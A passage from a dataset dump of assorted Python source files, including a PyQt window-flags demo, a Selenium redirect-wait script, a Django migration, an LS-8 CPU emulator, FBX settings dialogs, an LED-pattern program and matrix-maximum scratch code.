:\r\n\t\t\tflags = Qt.Sheet\r\n\t\telif self.drawerRadioButton.isChecked () :\r\n\t\t\tflags = Qt.Drawer\r\n\t\telif self.popupRadioButton.isChecked () :\r\n\t\t\tflags = Qt.Popup\r\n\t\telif self.toolRadioButton.isChecked () :\r\n\t\t\tflags = Qt.Tool\r\n\t\telif self.toolTipRadioButton.isChecked () :\r\n\t\t\tflags = Qt.ToolTip\r\n\t\telif self.splashScreenRadioButton.isChecked () :\r\n\t\t\tflags = Qt.SplashScreen\r\n\r\n\t\tif self.msWindowsFixedSizeDialogCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.MSWindowsFixedSizeDialogHint\r\n\t\tif self.x11BypassWindowManagerCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.X11BypassWindowManagerHint\r\n\t\tif self.framelessWindowCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.FramelessWindowHint\r\n\t\tif self.windowTitleCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.WindowTitleHint\r\n\t\tif self.windowSystemMenuCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.WindowSystemMenuHint\r\n\t\tif self.windowMinimizeButtonCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.WindowMinimizeButtonHint\r\n\t\tif self.windowMaximizeButtonCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.WindowMaximizeButtonHint\r\n\t\tif self.windowCloseButtonCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.WindowCloseButtonHint\r\n\t\tif self.windowContextHelpButtonCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.WindowContextHelpButtonHint\r\n\t\tif self.windowShadeButtonCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.WindowShadeButtonHint\r\n\t\tif self.windowStaysOnTopCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.WindowStaysOnTopHint\r\n\t\tif self.windowStaysOnBottomCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.WindowStaysOnBottomHint\r\n\t\tif self.customizeWindowHintCheckBox.isChecked () :\r\n\t\t\tflags |= Qt.CustomizeWindowHint\r\n\r\n\t\tself.previewWindow.setWindowFlags ( flags )\r\n\r\n\t\tpos = self.previewWindow.pos ()\r\n\t\tif pos.x () < 0 :\r\n\t\t\tpos.setX ( 0 )\r\n\t\tif pos.y () < 0 :\r\n\t\t\tpos.setY ( 0 )\r\n\t\tself.previewWindow.move ( pos )\r\n\t\tself.previewWindow.show ()\r\n\r\n\r\n\tdef createTypeGroupBox ( self ) :\r\n\t\tself.typeGroupBox = QGroupBox ( \"Type\" )\r\n\r\n\t\tself.windowRadioButton = self.createRadioButton ( \"Window\" )\r\n\t\tself.dialogRadioButton = self.createRadioButton ( \"Dialog\" )\r\n\t\tself.sheetRadioButton = self.createRadioButton ( \"Sheet\" )\r\n\t\tself.drawerRadioButton = self.createRadioButton ( \"Drawer\" )\r\n\t\tself.popupRadioButton = self.createRadioButton ( \"Popup\" )\r\n\t\tself.toolRadioButton = self.createRadioButton ( \"Tool\" )\r\n\t\tself.toolTipRadioButton = self.createRadioButton ( \"Tooltip\" )\r\n\t\tself.splashScreenRadioButton = self.createRadioButton ( \"Splash screen\" )\r\n\t\tself.windowRadioButton.setChecked ( True )\r\n\r\n\t\tlayout = QGridLayout ()\r\n\t\tlayout.addWidget ( self.windowRadioButton, 0, 0 )\r\n\t\tlayout.addWidget ( self.dialogRadioButton, 1, 0 )\r\n\t\tlayout.addWidget ( self.sheetRadioButton, 2, 0 )\r\n\t\tlayout.addWidget ( self.drawerRadioButton, 3, 0 )\r\n\t\tlayout.addWidget ( self.popupRadioButton, 0, 1 )\r\n\t\tlayout.addWidget ( self.toolRadioButton, 1, 1 )\r\n\t\tlayout.addWidget ( self.toolTipRadioButton, 2, 1 )\r\n\t\tlayout.addWidget ( self.splashScreenRadioButton, 3, 1 )\r\n\t\tself.typeGroupBox.setLayout ( layout )\r\n\r\n\tdef createRadioButton ( self, text ) :\r\n\t\tbutton = QRadioButton ( text )\r\n\t\tbutton.clicked.connect ( self.updatePreview )\r\n\t\treturn button\r\n\r\n\tdef createHintsGroupBox ( self ) :\r\n\t\tself.hintsGroupBox = QGroupBox ( \"Hints\" )\r\n\r\n\t\tself.msWindowsFixedSizeDialogCheckBox = self.createCheckBox ( \"MS Windows fixed size dialog\" )\r\n\t\tself.x11BypassWindowManagerCheckBox = self.createCheckBox ( \"X11 bypass window manager\" )\r\n\t\tself.framelessWindowCheckBox = self.createCheckBox ( \"Frameless window\")\r\n\t\tself.windowTitleCheckBox = self.createCheckBox ( \"Window title\" )\r\n\t\tself.windowSystemMenuCheckBox = self.createCheckBox ( \"Window system menu\" )\r\n\t\tself.windowMinimizeButtonCheckBox = self.createCheckBox ( \"Window minimize button\" )\r\n\t\tself.windowMaximizeButtonCheckBox = self.createCheckBox ( \"Window maximize button\" )\r\n\t\tself.windowCloseButtonCheckBox = self.createCheckBox ( \"Window close button\" )\r\n\t\tself.windowContextHelpButtonCheckBox = self.createCheckBox ( \"Window context help button\" )\r\n\t\tself.windowShadeButtonCheckBox = self.createCheckBox ( \"Window shade button\" )\r\n\t\tself.windowStaysOnTopCheckBox = self.createCheckBox ( \"Window stays on top\" )\r\n\t\tself.windowStaysOnBottomCheckBox = self.createCheckBox ( \"Window stays on bottom\" )\r\n\t\tself.customizeWindowHintCheckBox = self.createCheckBox ( \"Customize window\" )\r\n\r\n\t\tlayout = QGridLayout ()\r\n\t\tlayout.addWidget ( self.msWindowsFixedSizeDialogCheckBox, 0, 0 )\r\n\t\tlayout.addWidget ( self.x11BypassWindowManagerCheckBox, 1, 0 )\r\n\t\tlayout.addWidget ( self.framelessWindowCheckBox, 2, 0 )\r\n\t\tlayout.addWidget ( self.windowTitleCheckBox, 3, 0 )\r\n\t\tlayout.addWidget ( self.windowSystemMenuCheckBox, 4, 0 )\r\n\t\tlayout.addWidget ( self.windowMinimizeButtonCheckBox, 0, 1 )\r\n\t\tlayout.addWidget ( self.windowMaximizeButtonCheckBox, 1, 1 )\r\n\t\tlayout.addWidget ( self.windowCloseButtonCheckBox, 2, 1 )\r\n\t\tlayout.addWidget ( self.windowContextHelpButtonCheckBox, 3, 1 )\r\n\t\tlayout.addWidget ( self.windowShadeButtonCheckBox, 4, 1 )\r\n\t\tlayout.addWidget ( self.windowStaysOnTopCheckBox, 5, 1 )\r\n\t\tlayout.addWidget ( self.windowStaysOnBottomCheckBox, 6, 1 )\r\n\t\tlayout.addWidget ( self.customizeWindowHintCheckBox, 5, 0 )\r\n\t\tself.hintsGroupBox.setLayout ( layout )\r\n\r\n\r\n\tdef createCheckBox ( self, text ) :\r\n\t\tcheckBox = QCheckBox ( text )\r\n\t\tcheckBox.clicked.connect ( self.updatePreview )\r\n\t\treturn checkBox\r\n\r\n\r\ndef main () :\r\n\t#app = QApplication ( sys.argv )\r\n\tglobal controller\r\n\tcontroller= ControllerWindow ()\r\n\tcontroller.show ()\r\n\t#sys.exit ( app.exec_ () )\r\n\r\nif __name__ == '__main__' : main()","sub_path":"win.py","file_name":"win.py","file_ext":"py","file_size_in_byte":8844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"27413604","text":"from selenium import webdriver\nimport time\n# from selenium.common.exceptions import StaleElementReferenceException\nfrom selenium.common.exceptions import StaleElementReferenceException\n\n\ndef waitForLoad(driver):\n    elem = driver.find_element_by_tag_name(\"div\")\n    count = 0\n    while True:\n        count += 1\n        if count > 20:\n            print('10s past .no tiaozhuan ')\n            break\n        time.sleep(.5)\n        try:\n            driver.find_element_by_tag_name(\"div\")\n        except:\n            print('start tiaozhuan')\n            break\n\ndriver = webdriver.PhantomJS(\n    executable_path=r'D:\\Program Files\\phantomjs\\bin\\phantomjs')\ndriver.get(\"http://pythonscraping.com/pages/javascript/redirectDemo1.html\")\nwaitForLoad(driver)\nprint(driver.page_source)\ndriver.close()\n","sub_path":"text2.py","file_name":"text2.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"424278091","text":"class Stats():\n    def __init__(self):\n        self.insert = 0\n        self.load = 0\n        self.delete = 0\n        self.find = 0\n        self.min = 0\n        self.max = 0\n        self.successor = 0\n        self.inorder = 0\n        self.compare = 0\n        self.elements = 0\n        self.max_elements = 0\n    \n    def set_max_elements(self):\n        if self.elements > self.max_elements:\n            self.max_elements = self.elements\n\ndef process_key(w):\n    if not ((64 < ord(w[0]) < 91) or (96 < ord(w[0]) < 123)):\n        w = w[1:]\n    if w != '':\n        if not ((64 < ord(w[-1]) < 91) or (96 < ord(w[-1]) < 123)):\n            w = w[:-1]\n    return w","sub_path":"l3/z2/Stats.py","file_name":"Stats.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"331115382","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('usuario', '0001_initial'),\n        ('subasta', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Oferta',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('fecha', models.DateTimeField(auto_now_add=True)),\n                ('motivo', models.CharField(max_length=512)),\n                ('monto', models.CharField(max_length=5)),\n                ('ganador', models.BooleanField(default=False)),\n                ('borrado', models.BooleanField(default=False)),\n                ('disponible', models.BooleanField(default=True)),\n                ('postor', models.ForeignKey(to='usuario.Usuario', null=True)),\n                ('subasta', models.ForeignKey(to='subasta.Subasta', null=True)),\n            ],\n        ),\n    ]\n","sub_path":"bestnid/bestnid/apps/oferta/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"487610915","text":"\"\"\"CPU functionality.\"\"\"\n\nimport sys\n\n# instruction codes\nHLT = 0b00000001    # halt\nLDI = 0b10000010    # sets a specified register to a value\nPRN = 0b01000111    # print\nADD = 0b10100000    # add\nSUB = 0b10100001    # subtract\nMUL = 0b10100010    # multiply\nINC = 0b01100101    # increment\nDEC = 0b01100110    # decrement\nPUSH = 0b01000101   # push onto stack\nPOP = 0b01000110    # pop off the stack\nCALL = 0b01010000   # call\nRET = 0b00010001    # return\nCMP = 0b10100111    # compare\nJMP = 0b01010100    # jump\nJEQ = 0b01010101    # equal\nJNE = 0b01010110    # not equal\nOOI = 0b00000111    # prevent out of index\nLIM = 0b11111111    # limit values\n\n\nclass CPU:\n    \"\"\"Main CPU class.\"\"\"\n\n    def __init__(self):\n        \"\"\"Construct a new CPU.\"\"\"\n        # ram holds 256 bytes of memory\n        self.ram = [0] * 256\n        # holding 8 general-purpose registers\n        self.reg = [0] * 8\n        # program counter (pc)\n        self.pc = 0\n        # stack pointer (sp)\n        self.sp = 7\n        # CPU running\n        self.running = True\n\n    def ram_read(self, address):\n        # return the ram at the specified, indexed address\n        return self.ram[address]\n\n    # defining a function to overwrite the ram value at the given address\n    def ram_write(self, value, address):\n        # set the ram at the specified, indexed address, as the value\n        self.ram[address] = value\n\n    def load(self, filename=None):\n        \"\"\"Load a program into memory.\"\"\"\n\n        address = 0\n\n        # if cpu not being fed 2 files (file_to_run, file_to_load)\n        if len(sys.argv) != 2:\n            print(\"Usage: cpu.py loaded_program_name.ls8\")\n\n        # open the file\n        try:    # catch FileNotFound errors\n            with open(filename, 'r') as f:\n                for line in f:\n                    # only take code to the left of any comments\n                    line = line.split(\"#\")[0].strip()\n                    # Skip past empty lines and commented lines\n                    if line == '' or line[0][0] == '#':\n                        continue\n                    # Since we're working in binary, have to set base to 2\n                    try:\n                        self.ram[address] = int(line, 2)\n                    # Raise error if not fed appropriate int\n                    except ValueError:\n                        print(f'Invalid number: {line}')\n                        sys.exit(1)\n                    address += 1\n        except FileNotFoundError:\n            print(f\"Could not find file: {sys.argv[1]}\")\n            sys.exit(1)\n\n    def alu(self, op, reg_a, reg_b):\n        \"\"\"ALU operations.\"\"\"\n\n        reg_a = reg_a & OOI\n        reg_b = reg_b & OOI\n        if op == \"ADD\":\n            self.reg[reg_a] += self.reg[reg_b]\n        elif op == \"SUB\":\n            self.reg[reg_a] -= self.reg[reg_b]\n        elif op == \"MUL\":\n            self.reg[reg_a] *= self.reg[reg_b]\n        elif op == \"INC\":  # INC\n            self.reg[reg_a] += 1\n            self.reg[reg_a] = self.reg[reg_a] & LIM\n        elif op == \"DEC\":   # DEC\n            self.reg[reg_a] -= 1\n            self.reg[reg_a] = self.reg[reg_a] & LIM\n        elif op == \"CMP\":\n            if self.reg[reg_a] == self.reg[reg_b]:\n                self.flag = HLT\n            elif self.reg[reg_a] < self.reg[reg_b]:\n                self.flag = 0b00000100\n            elif self.reg[reg_a] > self.reg[reg_b]:\n                self.flag = 0b00000010\n        else:\n            raise Exception(\"Unsupported ALU operation\")\n\n    def ldi(self, reg, val):\n        reg = reg & OOI  # bitwise AND to prevent out-of-index\n        val = val & LIM  # bitwise AND to limit values\n        self.reg[reg] = val\n\n    def trace(self):\n        \"\"\"\n        Handy function to print out the CPU state. You might want to call this\n        from run() if you need help debugging.\n        \"\"\"\n\n        print(f\"TRACE: %02X | %02X %02X %02X |\" % (\n            self.pc,\n            # self.fl,\n            # self.ie,\n            self.ram_read(self.pc),\n            self.ram_read(self.pc + 1),\n            self.ram_read(self.pc + 2)\n        ), end='')\n\n        for i in range(8):\n            print(\" %02X\" % self.reg[i], end='')\n\n        print()\n\n    def run(self):\n        \"\"\"Run the CPU.\"\"\"\n        while self.running:\n            # self.trace()\n\n            # instruction register\n            IR = self.ram_read(self.pc)\n\n            # in case the instructions need them\n            operand_a = self.ram_read(self.pc + 1)\n            operand_b = self.ram_read(self.pc + 2)\n\n            # perform the actions needed for instruction per the LS-8 spec\n            if IR == HLT:     # HALT\n                self.running = False\n            elif IR == LDI:   # LOAD IMMEDIATE\n                self.reg[operand_a] = operand_b\n                self.pc += 3\n            elif IR == PRN:   # PRINT\n                print(self.reg[operand_a])\n                self.pc += 2\n            elif IR == ADD:   # ADD\n                self.alu(\"ADD\", operand_a, operand_b)\n                self.pc += 3\n            elif IR == SUB:   # SUBTRACT\n                self.alu(\"SUB\", operand_a, operand_b)\n                self.pc += 3\n            elif IR == MUL:   # MULTIPLY\n                self.alu(\"MUL\", operand_a, operand_b)\n                self.pc += 3\n            elif IR == CMP:\n                self.alu(\"CMP\", operand_a, operand_b)\n                self.pc += 3\n            elif IR == JMP:\n                self.pc = self.reg[operand_a]\n            elif IR == JEQ:\n                if self.flag == HLT:\n                    self.pc = self.reg[operand_a]\n                else:\n                    self.pc += 2\n            elif IR == JNE:\n                if self.flag != HLT:\n                    self.pc = self.reg[operand_a]\n                else:\n                    self.pc += 2\n            elif IR == PUSH:\n                # decrement the stack pointer\n                self.reg[self.sp] -= 1\n                # store the value at that address\n                self.ram_write(self.reg[operand_a], self.reg[self.sp])\n                # increment the program counter\n                self.pc += 2\n            elif IR == POP:\n                # take the value that is stored at the top of the stack\n                self.reg[operand_a] = self.ram_read(self.reg[self.sp])\n                # increment the stack pointer\n                self.reg[self.sp] += 1\n                # increment the program counter\n                self.pc += 2\n            elif IR == CALL:\n                # decrement the stack pointer\n                self.reg[self.sp] -= 1\n                # push the address of the instruction after it onto the stack\n                self.ram_write(self.pc + 2, self.reg[self.sp])\n                # move the program counter to the subroutine address\n                self.pc = self.reg[operand_a]\n            elif IR == RET:\n                # pop the addr off the stack and store it in the prog counter\n                self.pc = self.ram_read(self.reg[self.sp])\n                # increment the stack pointer\n                self.reg[self.sp] += 1\n            else:\n                print(\"Instruction not valid\")\n","sub_path":"ls8/cpu.py","file_name":"cpu.py","file_ext":"py","file_size_in_byte":7133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"477363338","text":"\"\"\"Stuff\n\nTODO create IO settings object widget and create that as an optional dialog\n    object widget should simplify options\n    create import version and export version\n\n\"\"\"\n\nimport fbx\n\nimport sys\n\nfrom brenpy.qt.bpQtImportUtils import QtWidgets\nfrom brenpy.qt.bpQtImportUtils import QtGui\n\nfrom brenfbx.core import bfIO\nfrom brenfbx.core import bfCore\n\nfrom brenfbx.qt.property import bfQtPropertyTreeWidgets\nfrom brenfbx.items import bfPropertyItems\nfrom brenfbx.qt.property import bfQtPropertyModels\n\n\n\nclass BfIOSettingsDialog(\n    # bpDebug.BpDebugObject,\n    bfCore.BfManagerBase,\n    # QtWidgets.QWidget\n    QtWidgets.QDialog\n):\n    \"\"\"\n    TODO xml methods\n    \"\"\"\n\n    def __init__(self, fbx_manager, parent=None):\n        super(BfIOSettingsDialog, self).__init__(fbx_manager, parent=parent)\n\n        self._settings = fbx.FbxIOSettings.Create(\n            self.fbx_manager(), fbx.IOSROOT\n        )\n\n        self.apply_default_title()\n        self._create_xml_menu()\n        self._create_widgets()\n        self._create_layout()\n\n        self._menu_btn.setAutoDefault(False)\n        self._ok_button.setDefault(True)\n\n        width = 500\n        height = 700\n\n        if parent:\n            pos = parent.mapToGlobal(parent.rect().topLeft())\n\n            self.setGeometry(\n                pos.x() + 50,\n                pos.y() + 50,\n                # 0, 0,\n                width,\n                height\n            )\n\n        else:\n            self.setGeometry(\n                100,\n                100,\n                width,\n                height\n            )\n\n    def apply_default_title(self):\n        self.setWindowTitle(\"IO Settings\")\n\n    def _create_widgets(self):\n\n        self._item_manager = bfPropertyItems.BfFbxPropertyTreeItemManager(self.fbx_manager())\n        self._item_manager.set_debug_level(self._item_manager.LEVELS.mid())\n        self._item_manager.set_fbx_object(self._settings)\n\n        self._model = bfQtPropertyModels.BfFbxPropertyModel()\n        self._model.set_item_manager(self._item_manager)\n\n        # self._properties_widget = bfQtPropertyTreeWidgets.BfPropertyTreeWidget()\n        self._properties_widget = bfQtPropertyTreeWidgets.BfPropertyTreeView(self.bf_environment())\n        self._properties_widget.set_use_deligate(True)\n        self._properties_widget.setModel(self._model)\n        self._properties_widget.setColumnHidden(2, True)\n        self._properties_widget.setColumnWidth(0, 300)\n\n        # buttons\n        self._ok_button = QtWidgets.QPushButton(\"OK\")\n        self._cancel_button = QtWidgets.QPushButton(\"Cancel\")\n\n        # Button signals\n        self._ok_button.clicked.connect(self.accept)\n        self._cancel_button.clicked.connect(self.reject)\n\n    def _create_xml_menu(self):\n        # import/export xml btns\n        self._menu_btn = QtWidgets.QPushButton(\"...\")\n\n        self._menu = QtWidgets.QMenu()\n        self._menu_btn.setMenu(self._menu)\n\n        _icon = QtGui.QIcon()\n        self._import_xml_action = QtWidgets.QAction(_icon, 'Import XML', self)\n        self._export_xml_action = QtWidgets.QAction(_icon, 'Export XML', self)\n\n        self._menu.addAction(self._import_xml_action)\n        self._menu.addAction(self._export_xml_action)\n\n        self._import_xml_action.triggered.connect(self.import_xml)\n        self._export_xml_action.triggered.connect(self.export_xml)\n\n    def _create_layout(self):\n        self._lyt = QtWidgets.QVBoxLayout()\n        self.setLayout(self._lyt)\n\n        self._xml_layout = QtWidgets.QHBoxLayout()\n        self._xml_layout.addWidget(self._menu_btn)\n        self._xml_layout.addStretch()\n\n        self._button_layout = QtWidgets.QHBoxLayout()\n        self._button_layout.addWidget(self._ok_button)\n        self._button_layout.addWidget(self._cancel_button)\n\n        self._lyt.addLayout(self._xml_layout)\n        self._lyt.addWidget(self._properties_widget)\n        self._lyt.addLayout(self._button_layout)\n\n    def settings(self):\n        return self._settings\n\n    def set_import_mode(self, value):\n        if value:\n            import_property = self._settings.FindProperty(\"Import\")\n            self._model.set_root_fbx_property(import_property)\n            self.setWindowTitle(\"Import Settings\")\n            self._properties_widget.expandAll()\n        else:\n            self._model.set_root_fbx_property(None)\n            self.apply_default_title()\n\n    def set_export_mode(self, value):\n        if value:\n            export_property = self._settings.FindProperty(\"Export\")\n            self._model.set_root_fbx_property(export_property)\n            self.setWindowTitle(\"Export Settings\")\n            self._properties_widget.expandAll()\n        else:\n            self._model.set_root_fbx_property(None)\n            self.apply_default_title()\n\n    def import_xml(self):\n\n        file_path, file_type = QtWidgets.QFileDialog.getOpenFileName(\n            self,\n            'Import XML file',\n            # self._default_path,\n            None,\n            \"xml files (*.xml)\"\n        )\n\n        if file_path == \"\":\n            return\n\n\n        self._model.beginResetModel()\n        res = self._settings.ReadXMLFile(file_path)\n        # self.item_manager().rebuild()\n        self._model.endResetModel()\n        self._properties_widget.expandAll()\n\n        return res\n\n    def export_xml(self):\n        file_path, file_type = QtWidgets.QFileDialog.getSaveFileName(\n            self,\n            'Export XML file',\n            # self._file_path or self._default_path,\n            None,\n            \"xml files (*.xml)\"\n        )\n\n        if file_path == \"\":\n            return False\n\n        res = self._settings.WriteXMLFile(file_path)\n        return res\n\n\nclass BfMergeSettingsDialog(\n    # bpDebug.BpDebugObject,\n    bfCore.BfManagerBase,\n    # QtWidgets.QWidget\n    QtWidgets.QDialog\n):\n    \"\"\"\n    \"\"\"\n\n    def __init__(self, fbx_manager, parent=None, *args, **kwargs):\n        super(BfMergeSettingsDialog, self).__init__(fbx_manager, parent=parent, *args, **kwargs)\n\n        self.setWindowTitle(\"Merge Settings\")\n\n        self._settings = bfIO.BfMergeSettingsObject.create(self.fbx_manager(), \"mergeSettings\")\n        self.add_debug_object(self._settings)\n\n        self._create_widgets()\n        self._create_layout()\n\n        self._ok_button.setDefault(True)\n\n        width = 500\n        height = 700\n\n        if parent:\n            pos = parent.mapToGlobal(parent.rect().topLeft())\n\n            self.setGeometry(\n                pos.x() + 50,\n                pos.y() + 50,\n                # 0, 0,\n                width,\n                height\n            )\n\n        else:\n            self.setGeometry(\n                100,\n                100,\n                width,\n                height\n            )\n\n    def _create_widgets(self):\n\n        self._item_manager = bfPropertyItems.BfFbxPropertyTreeItemManager(self.fbx_manager())\n        self.add_debug_object(self._item_manager)\n\n        self._item_manager.set_fbx_object(self._settings.fbx_object())\n\n        self._model = bfQtPropertyModels.BfFbxPropertyModel()\n        self._model.set_item_manager(self._item_manager)\n\n        # self._properties_widget = bfQtPropertyTreeWidgets.BfPropertyTreeWidget()\n        self._properties_widget = bfQtPropertyTreeWidgets.BfPropertyTreeView(self.bf_environment())\n        self._properties_widget.set_use_deligate(True)\n        self.add_debug_object(self._properties_widget)\n\n        self._properties_widget.setModel(self._model)\n        self._properties_widget.setColumnHidden(2, True)\n        self._properties_widget.setColumnWidth(0, 300)\n        self._properties_widget.expandAll()\n\n        # buttons\n        self._ok_button = QtWidgets.QPushButton(\"OK\")\n        self._cancel_button = QtWidgets.QPushButton(\"Cancel\")\n\n        # Button signals\n        self._ok_button.clicked.connect(self.accept)\n        self._cancel_button.clicked.connect(self.reject)\n\n    def _create_layout(self):\n        self._lyt = QtWidgets.QVBoxLayout()\n        self.setLayout(self._lyt)\n\n        self._button_layout = QtWidgets.QHBoxLayout()\n        self._button_layout.addWidget(self._ok_button)\n        self._button_layout.addWidget(self._cancel_button)\n\n        self._lyt.addWidget(self._properties_widget)\n        self._lyt.addLayout(self._button_layout)\n\n    def settings(self):\n        return self._settings\n\nclass Test1(object):\n    def __init__(self):\n        self.fbx_manager = fbx.FbxManager.Create()\n\n        self._widget = BfIOSettingsDialog(self.fbx_manager)\n        self._widget.set_import_mode(True)\n\n        self._widget.show()\n\n\nif __name__ == \"__main__\":\n    # test_1()\n\n    app = QtWidgets.QApplication(sys.argv)\n\n    test = Test1()\n\n    sys.exit(app.exec_())\n","sub_path":"python/brenfbx/qt/dialog/bfIOSettingsDialogs.py","file_name":"bfIOSettingsDialogs.py","file_ext":"py","file_size_in_byte":8662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"211500244","text":"#!/usr/bin/env python3\nimport time\nimport random\nfrom timeit import default_timer\n\nfrom auxiliary import RGB\nfrom patternhandler import PatternHandler\n\n# Pattern Import\nfrom pattern.positionslichter import Positionslichter\nfrom pattern.flicker import Flicker, noise_flicker\nfrom effect.lightrun import LightRun\nfrom effect.sparkle import Sparkle\nfrom effect.sweepglow import Sweep\nfrom effect.glow import gloweffect, glowtail\nfrom effect.reveal import reveal\nfrom pattern.bodyglow import RedSparkl, Rainbowbody, Rainbowsweep\n# from effect.glow import *\n\n\nclass Mainclass:\n    def __init__(self):\n        self.api = PatternHandler()\n        self.api.start()\n        self.clock = Clock()\n\n    def flicker_and_lightrun(self, duration):\n        flicker = Flicker()\n        flicker.set_brightness(0.4)\n        # flicker.fade(0.7)\n        self.api.runPattern(flicker)\n        self.clock.start()\n        while self.clock.wait(duration):\n            effect = LightRun()\n            self.api.runPattern(effect)\n            time.sleep(5)\n        self.api.stopPattern(flicker)\n\n    def red_and_sparkle(self, duration):\n        red = RedSparkl()\n        red.set_brightness(0.7)\n        self.api.runPattern(red)\n        self.clock.start()\n        while self.clock.wait(duration):\n            sleeptime = random.randint(15, 60)\n            print(\"Gewitter in {} Sekunden\".format(sleeptime))\n            time.sleep(sleeptime)\n            effect = Sparkle()\n            self.api.runPattern(effect)\n\n        self.api.stopPattern(red)\n\n    def sweep_and_glow(self, duration):\n        takt = 1.1\n        self.clock.start()\n        pos = 0\n        while self.clock.wait(duration):\n            color1 = RGB.wheel(pos)\n            color2 = RGB.wheel(pos + 100)\n\n            effect = Sweep(color1)\n            effect.fade(0.9)\n            self.api.runPattern(effect)\n            time.sleep(takt)\n\n            effect = gloweffect(range(150), color1, color2, int(2.3 * takt * 60))\n            self.api.runPattern(effect)\n            time.sleep(3 * takt)\n\n            pos = (pos + 40) % 255\n\n    def reveal(self, duration):\n        self.clock.start()\n        while self.clock.wait(duration):\n            effect = reveal()\n            effect.fade(0.998)\n            self.api.runPattern(effect)\n            effect.wait_for()\n            time.sleep(3)\n\n    def whitenoise(self, duration):\n        pat = noise_flicker()\n        self.api.runPattern(pat)\n        self.clock.start()\n        while self.clock.wait(duration):\n            time.sleep(10)\n\n        self.api.stopPattern(pat)\n\n    def rainbow(self, duration):\n        pat1 = Rainbowbody()\n        pat2 = Rainbowsweep()\n        self.api.runPattern(pat1)\n        self.api.runPattern(pat2)\n\n        self.clock.start()\n        while self.clock.wait(duration):\n            wait = random.randint(5, 15)\n            time.sleep(wait)\n            effect = glowtail()\n\n            self.api.runPattern(effect)\n\n        self.api.stopPattern(pat1)\n        self.api.stopPattern(pat2)\n\n    def run(self):\n        poslichter = Positionslichter()\n        self.api.runPattern(poslichter)\n\n        duration = 90\n\n        while True:\n            self.api.setFramerate(60)\n            # self.rainbow(duration)\n            # self.whitenoise(duration)\n            self.flicker_and_lightrun(duration)\n            self.red_and_sparkle(duration)\n            self.sweep_and_glow(duration)\n            self.reveal(duration)\n\n        self.api.stopPattern(poslichter)\n        self.api.stop()\n\n\nclass Clock:\n    def __init__(self):\n        self.starttime = default_timer()\n\n    def start(self):\n        self.starttime = default_timer()\n\n    def wait(self, seconds):\n        now = default_timer()\n        diff = now - self.starttime\n\n        if diff > seconds:\n            return False\n        else:\n            return True\n\n\nif __name__ == \"__main__\":\n    main = Mainclass()\n    main.run()\n","sub_path":"source/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":3886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"642710606","text":"import sys\n\ni = int()\nj = 1\nprint(sys.getsizeof(i))\nprint(sys.getsizeof(j))\n\n# str = \"This is a String\"\n# foo = 1\n# bar = str(foo)\n# print(bar) # ==> problem here\n\na = [1,2]\nprint(a.count(1))\ncount = 1\nprint(a.count(1))\n\nA = [[1, 3, 7],\n     [4, 8, 1]]\n\nr, (c, l) = max(map(lambda t: (t[0], max(enumerate(t[1]), key=lambda v: v[1])), enumerate(A)), key=lambda v: v[1][1])\n\n\n\n# this works\ndef matrix_max_index(M, m, n):\n    max_val = M[0][0]\n    max_val_index = (0, 0)\n    for i, row in enumerate(M):\n        if max(row) > max_val:\n            max_val = max(row)\n            max_val_index = i, row.index(max_val)\n    return max_val_index\n\nnums =input().split()\nm = int(nums[0])\nn = int(nums[1])\nM = list()\nfor i in range(0,m):\n    current_row_strings = input().split()\n    M.append([])\n    for j in range(0,n):\n        M[i].append(int(current_row_strings[j]))\n\n(i,j) = matrix_max_index(M, m, n)\nprint(i,j)\n\n\n#v2\ndef matrix_max_index(M, m, n):\n    max_val = max_row = None\n    for i, row in enumerate(M):\n        if max_val is None or max(row) > max_val:\n            max_val = max(row)\n            max_row = i\n    return max_row, M[max_row].index(max_val)\n\nnums =input().split()\nm = int(nums[0])\nn = int(nums[1])\nM = list()\nfor i in range(0,m):\n    current_row_strings = input().split()\n    M.append([])\n    for j in range(0,n):\n        M[i].append(int(current_row_strings[j]))\n\n(i,j) = matrix_max_index(M, m, n)\nprint(i,j)\n\n\n# v3\ndef matrix_max_index(M, m, n):\n    max_val, max_row = M[0][0], 0\n    for i, row in enumerate(M):\n        local_max = max(row)\n        (max_val, max_row) = (local_max, i) if local_max > max_val else (max_val, max_row)\n    return max_row, M[max_row].index(max_val)\n\nnums =input().split()\nm = int(nums[0])\nn = int(nums[1])\nM = list()\nfor i in range(0,m):\n    current_row_strings = input().split()\n    M.append([])\n    for j in range(0,n):\n        M[i].append(int(current_row_strings[j]))\n\n(i,j) = matrix_max_index(M, m, n)\nprint(i,j)","sub_path":"bar.py","file_name":"bar.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
